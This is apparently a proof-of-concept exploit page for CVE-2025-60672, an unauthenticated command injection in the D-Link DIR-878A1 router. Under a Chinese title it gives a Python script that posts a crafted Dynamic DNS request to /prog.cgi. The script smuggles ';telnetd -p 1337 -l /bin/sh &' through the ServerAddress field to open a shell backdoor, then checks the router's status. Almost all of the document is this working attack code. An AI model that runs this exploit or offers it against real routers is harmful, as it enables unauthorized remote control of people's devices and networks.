CVE-2025-60672 D-Link DIR-878A1路由器未授权命令注入漏洞

import requests # CVE-2025-60672 PoC - D-Link DIR-878A1 Command Injection # Target: D-Link DIR-878A1 router with firmware FW101B04.bin target_ip = "192.168.0.1" # Router IP address target_url = f"http://{target_ip}/prog.cgi" # Malicious payload - injects command to create backdoor user # The ServerAddress parameter is vulnerable to command injection malicious_payload = ";telnetd -p 1337 -l /bin/sh &" # Prepare the exploit request data = { "SetDynamicDNSSettings": "1", "ServerAddress": malicious_payload, "Hostname": "attacker-controlled-hostname", "Enable": "1" } print(f"[*] Exploiting CVE-2025-60672 on {target_ip}") print(f"[*] Sending malicious payload: {malicious_payload}") try: # Send the crafted HTTP request without authentication response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully") print("[+] Payload should be stored in NVRAM and executed by rc daemon") print("[+] Telnet backdoor should be active on port 1337") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Additional verification - check if router responds to our command verify_url = f"http://{target_ip}/status.cgi" try: verify_response = requests.get(verify_url, timeout=10) print(f"[*] Router status check: {verify_response.status_code}") except: print("[*] Router may be rebooting or payload executed")